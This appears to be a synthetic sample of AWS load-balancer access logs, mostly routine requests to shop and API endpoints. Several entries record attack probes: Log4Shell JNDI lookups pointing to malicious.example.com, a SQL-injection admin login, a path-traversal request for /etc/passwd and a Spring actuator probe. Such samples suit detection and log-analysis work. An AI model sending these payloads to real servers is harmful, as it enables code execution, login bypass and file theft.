"-" +https 2024-11-01T01:33:55.940682Z prod-web-alb 139.132.79.6:48288 10.0.179.101:443 0.081897 0.139921 0.088058 302 302 736 3272 "GET /cart HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cd93-8a831be49beb43469c8bb90f" "prod-web-alb.example.com" "-" 4 2024-11-01T01:33:55.940682Z "forward" "-" "-" "10.0.179.101:443" "302" "-" "-" +http 2024-11-01T01:33:56.437701Z staging-alb 149.182.61.233:23148 192.110.202.189:80 0.133268 0.078333 0.018533 200 200 68 359 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd94-76b674de1c224f56b8da5937" "staging-alb.example.com" "-" 8 2024-11-01T01:33:56.437701Z "forward" "-" "-" "192.110.202.189:80" "200" "-" "-" +https 2024-11-01T01:33:57.539060Z staging-alb 185.181.125.99:60541 255.15.116.244:443 0.082034 0.646360 0.071561 403 403 644 14753 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "WhatWeb/0.5.5" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd95-ab797c418e554c6cb9b27306" "-" "-" 5 2024-11-01T01:33:57.539060Z "forward" "-" "-" "255.15.116.244:443" "403" "-" "-" +https 2024-11-01T01:33:58.744155Z prod-web-alb 45.155.205.225:60354 10.0.92.148:443 0.073940 0.087173 0.019826 403 403 15 10061 "GET /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "Go-http-client/2.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd96-3eedc1412c9c43faa07fc608" "-" "-" 9 2024-11-01T01:33:58.744155Z "forward" "-" "-" "10.0.92.148:443" "403" "-" "-" +https 2024-11-01T01:33:59.294007Z prod-api-alb 212.132.254.248:53643 10.0.134.105:443 0.085414 0.217560 0.078236 302 302 598 13610 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd97-b857c126149e4876a8a7e209" "prod-api-alb.example.com" "-" 9 2024-11-01T01:33:59.294007Z "forward" "-" "-" "10.0.134.105:443" "302" "-" "-" +http 2024-11-01T01:33:59.405293Z staging-alb 47.75.149.20:57302 219.191.84.38:8080 0.101669 0.504450 0.111463 200 200 892 4878 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd97-80a9f1e098c3459eaea8e478" "staging-alb.example.com" "-" 1 2024-11-01T01:33:59.405293Z "forward" "-" "-" "219.191.84.38:8080" "200" "-" "-" +https 2024-11-01T01:34:00.571005Z staging-alb 11.12.241.120:44631 10.170.117.159:443 0.033170 0.571266 0.071602 200 200 256 4844 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd98-e6878ee3556348689f7e044c" "staging-alb.example.com" "-" 0 2024-11-01T01:34:00.571005Z "forward" "-" "-" "10.170.117.159:443" "200" "-" "-" +http 2024-11-01T01:34:01.521347Z staging-alb 141.75.10.100:28790 204.163.216.39:8080 0.104344 0.236005 0.092599 200 200 368 10591 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd99-ea53ff4c21db4c7d96ae5488" "staging-alb.example.com" "-" 9 2024-11-01T01:34:01.521347Z "forward" "-" "-" "204.163.216.39:8080" "200" "-" "-" +http 2024-11-01T01:34:02.508681Z staging-alb 46.56.223.130:61559 224.170.253.189:8080 0.097525 0.197074 0.055909 200 200 153 14483 "GET /web/test HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cd9a-b27eb10634a842f7866c4a7f" "staging-alb.example.com" "-" 10 2024-11-01T01:34:02.508681Z "forward" "-" "-" "224.170.253.189:8080" "200" "-" "-" +https 2024-11-01T01:34:04.124654Z prod-web-alb 145.9.32.92:61198 10.0.67.121:443 0.072310 0.154103 0.099150 200 200 500 9395 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cd9c-bddb5567dfab4236bc32407a" "prod-web-alb.example.com" "-" 1 2024-11-01T01:34:04.124654Z "forward" "-" "-" "10.0.67.121:443" "200" "-" "-" +https 2024-11-01T01:34:05.850498Z prod-api-alb 193.27.228.121:37170 10.0.204.178:443 0.011521 0.023496 0.056631 500 500 955 6530 "POST /actuator/env HTTP/1.1" "" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cd9d-5937d95c84304d1688a0d5ab" "-" "-" 6 2024-11-01T01:34:05.850498Z "forward" "-" "-" "10.0.204.178:443" "500" "-" "-" +https 2024-11-01T01:34:06.926023Z staging-alb 181.165.182.80:42452 108.198.180.153:8080 0.052513 0.494488 0.093542 200 200 882 13866 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cd9e-1274307c3a9f4b618018a2d6" "staging-alb.example.com" "-" 4 2024-11-01T01:34:06.926023Z "forward" "-" "-" "108.198.180.153:8080" "200" "-" "-" +https 2024-11-01T01:34:08.863007Z prod-web-alb 191.68.226.19:51772 10.0.192.120:443 0.069974 0.028322 0.079096 200 200 902 5464 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cda0-1b2e25dd08a3428d9bc17e3c" "prod-web-alb.example.com" "-" 1 2024-11-01T01:34:08.863007Z "forward" "-" "-" "10.0.192.120:443" "200" "-" "-" +https 2024-11-01T01:34:10.613691Z prod-web-alb 196.162.125.152:44905 10.0.29.76:443 0.054371 0.425537 0.087578 200 200 205 12946 "GET /cart HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cda2-bd1e23984de143cd8ba32fe2" "prod-web-alb.example.com" "-" 4 2024-11-01T01:34:10.613691Z "forward" "-" "-" "10.0.29.76:443" "200" "-" "-" +http 2024-11-01T01:34:10.744200Z staging-alb 106.138.105.155:50169 95.176.58.36:8080 0.100063 0.642374 0.056607 200 200 568 2755 "GET /web/test HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cda2-a0e12b87c3e44092a100b5af" "staging-alb.example.com" "-" 1 2024-11-01T01:34:10.744200Z "forward" "-" "-" "95.176.58.36:8080" "200" "-" "-" +https 2024-11-01T01:34:12.242246Z prod-api-alb 222.120.69.98:60320 10.0.2.175:443 0.078487 0.394045 0.026201 200 200 835 337 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cda4-11a756d2bf364dd49bbecdef" "prod-api-alb.example.com" "-" 5 2024-11-01T01:34:12.242246Z "forward" "-" "-" "10.0.2.175:443" "200" "-" "-" +https 2024-11-01T01:34:13.183874Z prod-web-alb 39.135.243.224:54341 10.0.40.25:443 0.093756 0.480511 0.087937 200 200 552 9627 "GET /checkout HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cda5-776584f654cc437084462f9c" "prod-web-alb.example.com" "-" 3 2024-11-01T01:34:13.183874Z "forward" "-" "-" "10.0.40.25:443" "200" "-" "-" +https 2024-11-01T01:34:14.330597Z prod-web-alb 86.2.116.50:57477 10.0.166.238:443 0.085956 0.263792 0.044964 200 200 988 10713 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cda6-3232638eb8d1454fb46c9633" "prod-web-alb.example.com" "-" 8 2024-11-01T01:34:14.330597Z "forward" "-" "-" "10.0.166.238:443" "200" "-" "-" +https 2024-11-01T01:34:14.685239Z prod-api-alb 54.116.180.230:63052 10.0.51.141:443 0.095242 0.002398 0.000265 200 200 608 10375 "GET /api/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cda6-59060f1958454e7bbbcb43f2" "prod-api-alb.example.com" "-" 1 2024-11-01T01:34:14.685239Z "forward" "-" "-" "10.0.51.141:443" "200" "-" "-" +https 2024-11-01T01:34:16.060610Z prod-api-alb 249.244.141.44:38646 10.0.75.74:443 0.015102 0.424006 0.035267 302 302 570 4632 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cda8-67516857fbac460e9174f698" "prod-api-alb.example.com" "-" 9 2024-11-01T01:34:16.060610Z "forward" "-" "-" "10.0.75.74:443" "302" "-" "-" +http 2024-11-01T01:34:17.644180Z staging-alb 172.59.151.58:44860 107.7.69.192:443 0.002779 0.390392 0.022683 302 302 630 13842 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cda9-858c0e25886545aea8ba4c9b" "staging-alb.example.com" "-" 7 2024-11-01T01:34:17.644180Z "forward" "-" "-" "107.7.69.192:443" "302" "-" "-" +https 2024-11-01T01:34:18.062350Z prod-api-alb 92.98.81.49:57527 10.0.251.119:443 0.020897 0.402929 0.070247 200 200 154 14209 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdaa-b9ae134c64904c43a902e72b" "prod-api-alb.example.com" "-" 6 2024-11-01T01:34:18.062350Z "forward" "-" "-" "10.0.251.119:443" "200" "-" "-" +https 2024-11-01T01:34:18.398069Z staging-alb 6.184.118.183:39398 212.108.85.12:443 0.021057 0.209649 0.032998 200 200 920 12364 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdaa-8d4b1b60a6f1448a8db920a0" "staging-alb.example.com" "-" 3 2024-11-01T01:34:18.398069Z "forward" "-" "-" "212.108.85.12:443" "200" "-" "-" +https 2024-11-01T01:34:20.347464Z prod-api-alb 44.146.84.7:42585 10.0.210.74:443 0.068172 0.035063 0.039731 301 301 858 5030 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cdac-a9d0a56ffbf34043a196c88d" "prod-api-alb.example.com" "-" 0 2024-11-01T01:34:20.347464Z "forward" "-" "-" "10.0.210.74:443" "301" "-" "-" +https 2024-11-01T01:34:22.223599Z prod-api-alb 185.181.230.236:14133 10.0.229.25:443 0.030076 0.388725 0.091439 200 200 77 12407 "POST /admin/login?username=admin'--&password=x HTTP/1.1" "" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdae-60c4832da93d411f98e3c840" "-" "-" 10 2024-11-01T01:34:22.223599Z "forward" "-" "-" "10.0.229.25:443" "200" "-" "-" +https 2024-11-01T01:34:23.971855Z prod-web-alb 238.71.108.129:24778 10.0.228.208:443 0.042537 0.344488 0.090709 302 302 778 2703 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cdaf-d4284378fd7649c9aeeaf438" "prod-web-alb.example.com" "-" 1 2024-11-01T01:34:23.971855Z "forward" "-" "-" "10.0.228.208:443" "302" "-" "-" +https 2024-11-01T01:34:25.190984Z prod-api-alb 53.37.51.58:30428 10.0.60.1:443 0.011864 0.497474 0.061406 200 200 388 981 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdb1-5acf214cf39541818338e39c" "prod-api-alb.example.com" "-" 5 2024-11-01T01:34:25.190984Z "forward" "-" "-" "10.0.60.1:443" "200" "-" "-" +https 2024-11-01T01:34:26.513443Z prod-web-alb 113.236.30.25:43098 10.0.29.114:443 0.074541 0.156309 0.008031 302 302 562 10234 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cdb2-3cf45994ba9c49f390deb956" "prod-web-alb.example.com" "-" 8 2024-11-01T01:34:26.513443Z "forward" "-" "-" "10.0.29.114:443" "302" "-" "-" +http 2024-11-01T01:34:27.741160Z staging-alb 47.227.174.115:51841 7.86.39.234:80 0.109684 0.480461 0.119085 200 200 226 5514 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdb3-cd961595c9394c639abb8c86" "staging-alb.example.com" "-" 8 2024-11-01T01:34:27.741160Z "forward" "-" "-" "7.86.39.234:80" "200" "-" "-" +https 2024-11-01T01:34:29.380088Z staging-alb 222.159.229.17:46887 99.113.193.170:443 0.002345 0.614677 0.041541 200 200 291 3560 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdb5-a1d5f24be4ba4caba29be49f" "-" "-" 10 2024-11-01T01:34:29.380088Z "forward" "-" "-" "99.113.193.170:443" "200" "-" "-" +https 2024-11-01T01:34:31.377888Z prod-web-alb 180.42.184.213:14575 10.0.5.245:443 0.033073 0.298672 0.030456 302 302 520 2510 "GET /cart HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cdb7-45ec5a46f9b44ea192460702" "prod-web-alb.example.com" "-" 1 2024-11-01T01:34:31.377888Z "forward" "-" "-" "10.0.5.245:443" "302" "-" "-" +https 2024-11-01T01:34:32.561846Z staging-alb 22.230.42.5:22795 121.147.76.236:443 0.104894 0.477681 0.033290 302 302 101 12390 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cdb8-1f04445d50fe440caa811d7d" "staging-alb.example.com" "-" 2 2024-11-01T01:34:32.561846Z "forward" "-" "-" "121.147.76.236:443" "302" "-" "-" +https 2024-11-01T01:34:33.811173Z prod-web-alb 73.180.203.90:12061 10.0.102.59:443 0.036868 0.111702 0.063406 200 200 152 6656 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723cdb9-a0d4a42177ff4fc5944fd608" "-" "-" 5 2024-11-01T01:34:33.811173Z "forward" "-" "-" "10.0.102.59:443" "200" "-" "-" +https 2024-11-01T01:34:35.537691Z prod-web-alb 252.220.99.28:23924 10.0.249.203:443 0.096182 0.246190 0.096929 301 301 231 7941 "GET /products HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723cdbb-a606a05a176544d5b9128e76" "prod-web-alb.example.com" "-" 4 2024-11-01T01:34:35.537691Z "forward" "-" "-" "10.0.249.203:443" "301" "-" "-" +https 2024-11-01T01:34:37.280366Z prod-api-alb 45.155.205.99:37494 10.0.151.134:443 0.055702 0.393332 0.027641 404 404 15 4412 "POST /test/${jndi:ldap://malicious.example.com/a} HTTP/1.1" "WhatWeb/0.5.5" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdbd-a6900b295e3348a9995b1497" "-" "-" 9 2024-11-01T01:34:37.280366Z "forward" "-" "-" "10.0.151.134:443" "404" "-" "-" +http 2024-11-01T01:34:38.021181Z staging-alb 118.198.193.56:18834 40.201.5.80:8080 0.018337 0.001959 0.113736 200 200 82 3052 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdbe-1ce08439e74a48ea91f8f81c" "staging-alb.example.com" "-" 1 2024-11-01T01:34:38.021181Z "forward" "-" "-" "40.201.5.80:8080" "200" "-" "-" +http 2024-11-01T01:34:38.326747Z staging-alb 54.14.84.182:35998 44.137.184.141:8080 0.110389 0.460303 0.063487 200 200 150 5673 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdbe-7095aa0c9adc40a88bee5a2e" "staging-alb.example.com" "-" 1 2024-11-01T01:34:38.326747Z "forward" "-" "-" "44.137.184.141:8080" "200" "-" "-" +http 2024-11-01T01:34:39.608342Z staging-alb 47.229.53.28:50425 94.200.213.185:80 0.057327 0.712023 0.132439 404 404 152 2612 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdbf-7a9231c224c544a8b32e6d18" "staging-alb.example.com" "-" 3 2024-11-01T01:34:39.608342Z "forward" "-" "-" "94.200.213.185:80" "404" "-" "-" +https 2024-11-01T01:34:41.008803Z staging-alb 117.79.70.133:51397 95.153.74.109:80 0.099685 0.716509 0.128681 301 301 328 4399 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdc1-5746fe877e304c58874ac93a" "staging-alb.example.com" "-" 5 2024-11-01T01:34:41.008803Z "forward" "-" "-" "95.153.74.109:80" "301" "-" "-" +https 2024-11-01T01:34:41.287005Z staging-alb 34.84.224.8:61843 228.63.122.223:443 0.085066 0.553015 0.022249 302 302 406 10409 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cdc1-93251c2e40364441a3e60241" "staging-alb.example.com" "-" 6 2024-11-01T01:34:41.287005Z "forward" "-" "-" "228.63.122.223:443" "302" "-" "-" +https 2024-11-01T01:34:42.629322Z prod-api-alb 185.181.34.255:32180 10.0.116.107:443 0.006205 0.244846 0.075998 404 404 304 7159 "GET /assets/..%2f..%2f..%2fetc/passwd HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdc2-b66e457817774e6ba304f4e6" "-" "-" 6 2024-11-01T01:34:42.629322Z "forward" "-" "-" "10.0.116.107:443" "404" "-" "-" +https 2024-11-01T01:34:44.491338Z staging-alb 44.248.15.219:51376 6.102.37.24:443 0.092884 0.187320 0.100852 200 200 936 2680 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdc4-f56890f34d364cf6a6e37cbb" "staging-alb.example.com" "-" 0 2024-11-01T01:34:44.491338Z "forward" "-" "-" "6.102.37.24:443" "200" "-" "-" +https 2024-11-01T01:34:46.399171Z prod-api-alb 150.220.165.3:48522 10.0.234.110:443 0.032879 0.109124 0.094928 200 200 308 563 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cdc6-5f1df3d9a9d640b78b2e1543" "prod-api-alb.example.com" "-" 8 2024-11-01T01:34:46.399171Z "forward" "-" "-" "10.0.234.110:443" "200" "-" "-" +https 2024-11-01T01:34:47.876598Z prod-api-alb 24.166.216.59:36130 10.0.129.193:443 0.058825 0.034969 0.046681 200 200 343 9533 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723cdc7-95295e4658dd46d2a64ec80b" "prod-api-alb.example.com" "-" 10 2024-11-01T01:34:47.876598Z "forward" "-" "-" "10.0.129.193:443" "200" "-" "-" +http 2024-11-01T01:34:48.544805Z staging-alb 42.105.14.236:12444 99.246.190.237:80 0.092024 0.183428 0.038985 301 301 337 14874 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723cdc8-cf3b29b11b354616bbe3fb83" "staging-alb.example.com" "-" 4 2024-11-01T01:34:48.544805Z "forward" "-" "-" "99.246.190.237:80" "301" "-" "-" +https 2024-11-01T01:34:50.508882Z prod-api-alb 174.59.52.207:36032 10.0.77.28:443 0.098274 0.489806 0.071469 302 302 703 4636 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723cdca-fd95712e33dc41469e99b9d4" "prod-api-alb.example.com" "-" 9 2024-11-01T01:34:50.508882Z "forward" "-" "-" "10.0.77.28:443" "302" "-" "-" +https 2024-11-01T01:34:52.098113Z staging-alb 159.114.117.137:28150 18.113.172.194:80 0.004871 0.141138 0.115086 404 404 335 11115 "GET /api/v1/products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723cdcc-9cd17c1cca254817acc171bf" "staging-alb.example.com" "-" 10 2024-11-01T01:34:52.098113Z "forward" "-" "-" "18.113.172.194:80" "404" "-" "-" +https 2024-11-01T01:34:52.815210Z prod-api-alb 57.121.74.87:31179 10.0.176.72:443 0.015029 0.452558 0.070753 200 200 450 8082 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 